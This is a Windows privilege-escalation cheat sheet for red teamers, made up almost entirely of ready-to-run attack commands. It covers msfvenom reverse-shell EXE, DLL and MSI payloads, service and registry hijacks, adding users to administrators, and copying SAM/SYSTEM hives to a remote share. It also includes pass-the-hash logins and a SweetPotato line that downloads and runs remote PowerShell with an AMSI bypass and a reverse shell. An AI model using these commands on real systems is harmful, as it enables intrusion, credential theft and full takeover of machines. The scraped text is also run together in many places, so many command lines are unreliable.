Common Windows Privilege Escalation
All credits to https://github.com/0xJs/RedTeaming_CheatSheet/blob/main/windows_security.md
Python BloodHound Repository or install it with pip3 install bloodhound
bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using powershell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>tasklist)
C:\Program Files\SystemScheduler\Events and check the logs to see if anything is running every x minutes.msfvenom for shells if we can execute something with admin privileges:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe
msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exenet localgroup administrators <username> /add.\PsExec64.exe -accepteula -i -s C:\temp\reverse.exeicacls.exe or Get-acl to check permissions on directories/files instead of accesschk.exe.powershell.exe
. ./PowerUp.ps1
Invoke-Allchecks.\SharpUp.exe./seatbelt.exe allreg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
.\winPEASany.exe quiet cmd fast
.\winPEASany.exeAccessChk is an old but still trustworthy tool for checking user access control rights. You can use it to check whether a user or group has access to files, directories, services, and registry keys. The downside is more recent versions of the program spawn a GUI “accept EULA” popup window. When using the command line, we have to use an older version which still has an /accepteula command line option.
Always do first:
accesschk.exe /accepteulawhoamiwhoami /privwhoami /groupsnet usernet localgroup administratorshostnamesysteminfowmic qfe get Caption,Description,HotFixID,InstalledOntasklist /svcwmic service get name,displayname,pathname,startmodewhoami /priv && whoami /groupsif SeImpersonatePrivilege is set (PrintSpoofer or juicypotato)
ipconfig /all
route printnetstat -anonetsh firewall show state
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=allschtasks /query /fo LIST /vwmic product get name, version, vendoraccesschk.exe -uws "Everyone" "C:\Program Files"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*<DRIVER>*"}Check status of AlwaysInstalledElevated registery setting (if yes then craft a MSI)
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installersysteminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"driverquery /vcd C:\Program Files\<DRIVER>wmic logicaldisk get caption,description,providernameicalcs "<PATH>"Get-ChildItem -Path C:\* -Force -Include *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue
Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinueKernels are the core of any operating system. Think of it as a layer between application software and the actual computer hardware. The kernel has complete control over the operating system. Exploiting a kernel vulnerability can result in execution as the SYSTEM user.
systeminfo > systeminfo.txtpython wes.py systeminfo.txt -i 'Elevation of privilege' --exploits-onlyhttps://github.com/SecWiki/windows-kernel-exploits
Services are simply programs that run in the background, accepting input or performing regular tasks. If services run with SYSTEM privileges and are misconfigured, exploiting them may lead to command execution with SYSTEM privileges as well.
accesschk.exe /accepteula -uwcqv <USER> * > ack.txt
type ack.txtsc.exe qc <SERVICE NAME>sc.exe query <SERVICE NAME>sc.exe config <NAME> <OPTION>= <VALUE>net start/stop <SERVICE NAME>Each service has an ACL which defines certain service-specific permissions. Some permissions are innocuous (e.g. SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS). Some may be useful (e.g. SERVICE_STOP, SERVICE_START). Some are dangerous (e.g. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS).
If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own. Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!
.\accesschk.exe /accepteula -uwcqv <USER> <SERVICE NAME>Get-ServiceAcl -Name <NAME> | select -expandproperty Accesssc qc <SERVICE NAME>sc query <SERVICE NAME>sc config <SERVICE NAME> binpath= "\"C:\temp\reverse.exe\""sc config daclsvc obj= ".\LocalSystem" password= ""
sc config daclsvc start= "demand"net start <SERVICE NAME>Executables in Windows can be run without using their extension (e.g. “whoami.exe” can be run by just typing “whoami”). Some executables take arguments, separated by spaces, e.g. someprog.exe arg1 arg2 arg3… This behavior leads to ambiguity when using absolute paths that are unquoted and contain spaces.
Consider the following unquoted path: C:\Program Files\Some Dir\SomeProgram.exe To us, this obviously runs SomeProgram.exe. To Windows, C:\Program could
be the executable, with two arguments: Files\Some and Dir\ SomeProgram.exe Windows resolves this ambiguity by checking each of the possibilities in turn. If we can write to a location Windows checks before the actual executable, we can trick the service into executing it instead.
wmic service get name, pathnamesc qc <SERVICE NAME>.\accesschk.exe /accepteula -uwdq "<PATH>"
Get-Acl -Path <PATH> | flcopy C:\temp\reverse.exe "<PATH>"net stop <SERVICE>
net start <SERVICE>### Weak Registry Permissions
The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.
#### Confirming Weak Registry Entries
To confirm a weak registry entry, you can use either Powershell or accesschk.exe:
- **Powershell:**
```powershell
Get-Acl -Path <REG PATH> | Format-List.\accesschk.exe /accepteula -uvwqk <REG PATH>To overwrite the value of a registry key and point it to our reverse shell executable:
reg add <REG PATH> /v <REG VALUE> /t REG_EXPAND_SZ /d C:\temp\reverse.exe /fStart a listener on Kali, and then start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>If the original service executable is modifiable by our user, we can simply replace it with our reverse shell executable. Remember to create a backup of the original executable if you are exploiting this in a real system!
.\accesschk.exe /accepteula -quvw "<PATH TO EXE>"
icacls.exe "<PATH TO EXE>"
Get-Acl -Path "<PATH TO EXE>" | flcopy "<PATH>" C:\Tempcopy /Y C:\PrivEsc\reverse.exe "<PATH>"Start a listener on Kali, and then start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>Often a service will try to load functionality from a library called a DLL (dynamic-link library). Whatever functionality the DLL provides, will be executed with the same privileges as the service that loaded it. If a DLL is loaded with an absolute path, it might be possible to escalate privileges if that DLL is writable by our user.
A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for DLLs in. Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual.
Start by enumerating which of these services our user has stop and start access to:
.\accesschk.exe /accepteula -uvqc <USER> <SERVICE>sc qc <SERVICE>On Kali, generate a reverse shell DLL named hijackme.dll:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dll
msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dllCopy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>This policy allows standard users to install applications that require access to directories and registry keys that they may not usually have permission to change. This is equivalent to granting full administrative rights and even though Microsoft strongly discourages its use, it can still be found.
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\InstallerTo exploit this, you can package a payload into an MSI installer that will be installed and executed with SYSTEM privileges. You can use tools like PowerShell scripts or Cobalt Strike Beacon to generate such MSI files.
sc sdshow scmanager$string = <PERMISSIONS>
ConvertFrom-SddlString $stringsc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators <USER> /add" start= autoWindows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted), you may be able to escalate privileges.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.\accesschk.exe /accepteula -wvu "<PATH TO EXE>".\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program"copy "C:\Program Files\Autorun Program\program.exe" C:\TempCopy the reverse shell executable to overwrite the autorun executable:
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e., admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installermsfvenom -p <PAYLOAD> lhost=<IP> -f msi -o setup.msisc sdshow scmanager$string = <PERMISSIONS>
ConvertFrom-SddlString $stringsc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators <USER> /add" start= autoPlenty of programs store
configuration options in the Windows Registry. Windows itself sometimes will store passwords in plaintext in the Registry. It is always worth searching the Registry for passwords. The following commands will search the registry for keys and values that contain “password”.
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /swinexe -U '<USERNAME>%<PASSWORD>' //<IP> cmd.execmdkey /listrunas /savecred /user:admin C:\temp\reverse.exedir /s *pass* == *.config
findstr /si password *.xml *.ini *.txtcopy C:\Windows\Repair\SAM \\<IP>\<SHARE>\
copy C:\Windows\Repair\SYSTEM \\<IP>\<SHARE>\python2 creddump7/pwdump.py SYSTEM SAMhashcat -a 0 -m 1000 --force <HASHES> <WORDLIST>pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exe
pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exeschtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,StateIf you can open a file with this app, navigate to the explorer and fill in the path to cmd.exe or PowerShell.exe:
file://c:/windows/system32/cmd.exeEach user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.
Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file.
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Savecscript CreateShortcut.vbsMost privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations result from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.
tasklist /vHot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.
.\potato.exe -ip <IP> -cmd "C:\temp\reverse.exe" - enable_httpserver true -enable_defender true -enable_spoof true - enable_exhaust trueThe original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.
./SweetPotato.exe -a "/c powershell.exe iex (New-Object Net.WebClient).DownloadString('http://<IP>:8090/amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http://<IP>:8090/Invoke-PowerShellTcp2.ps1')"Última actualización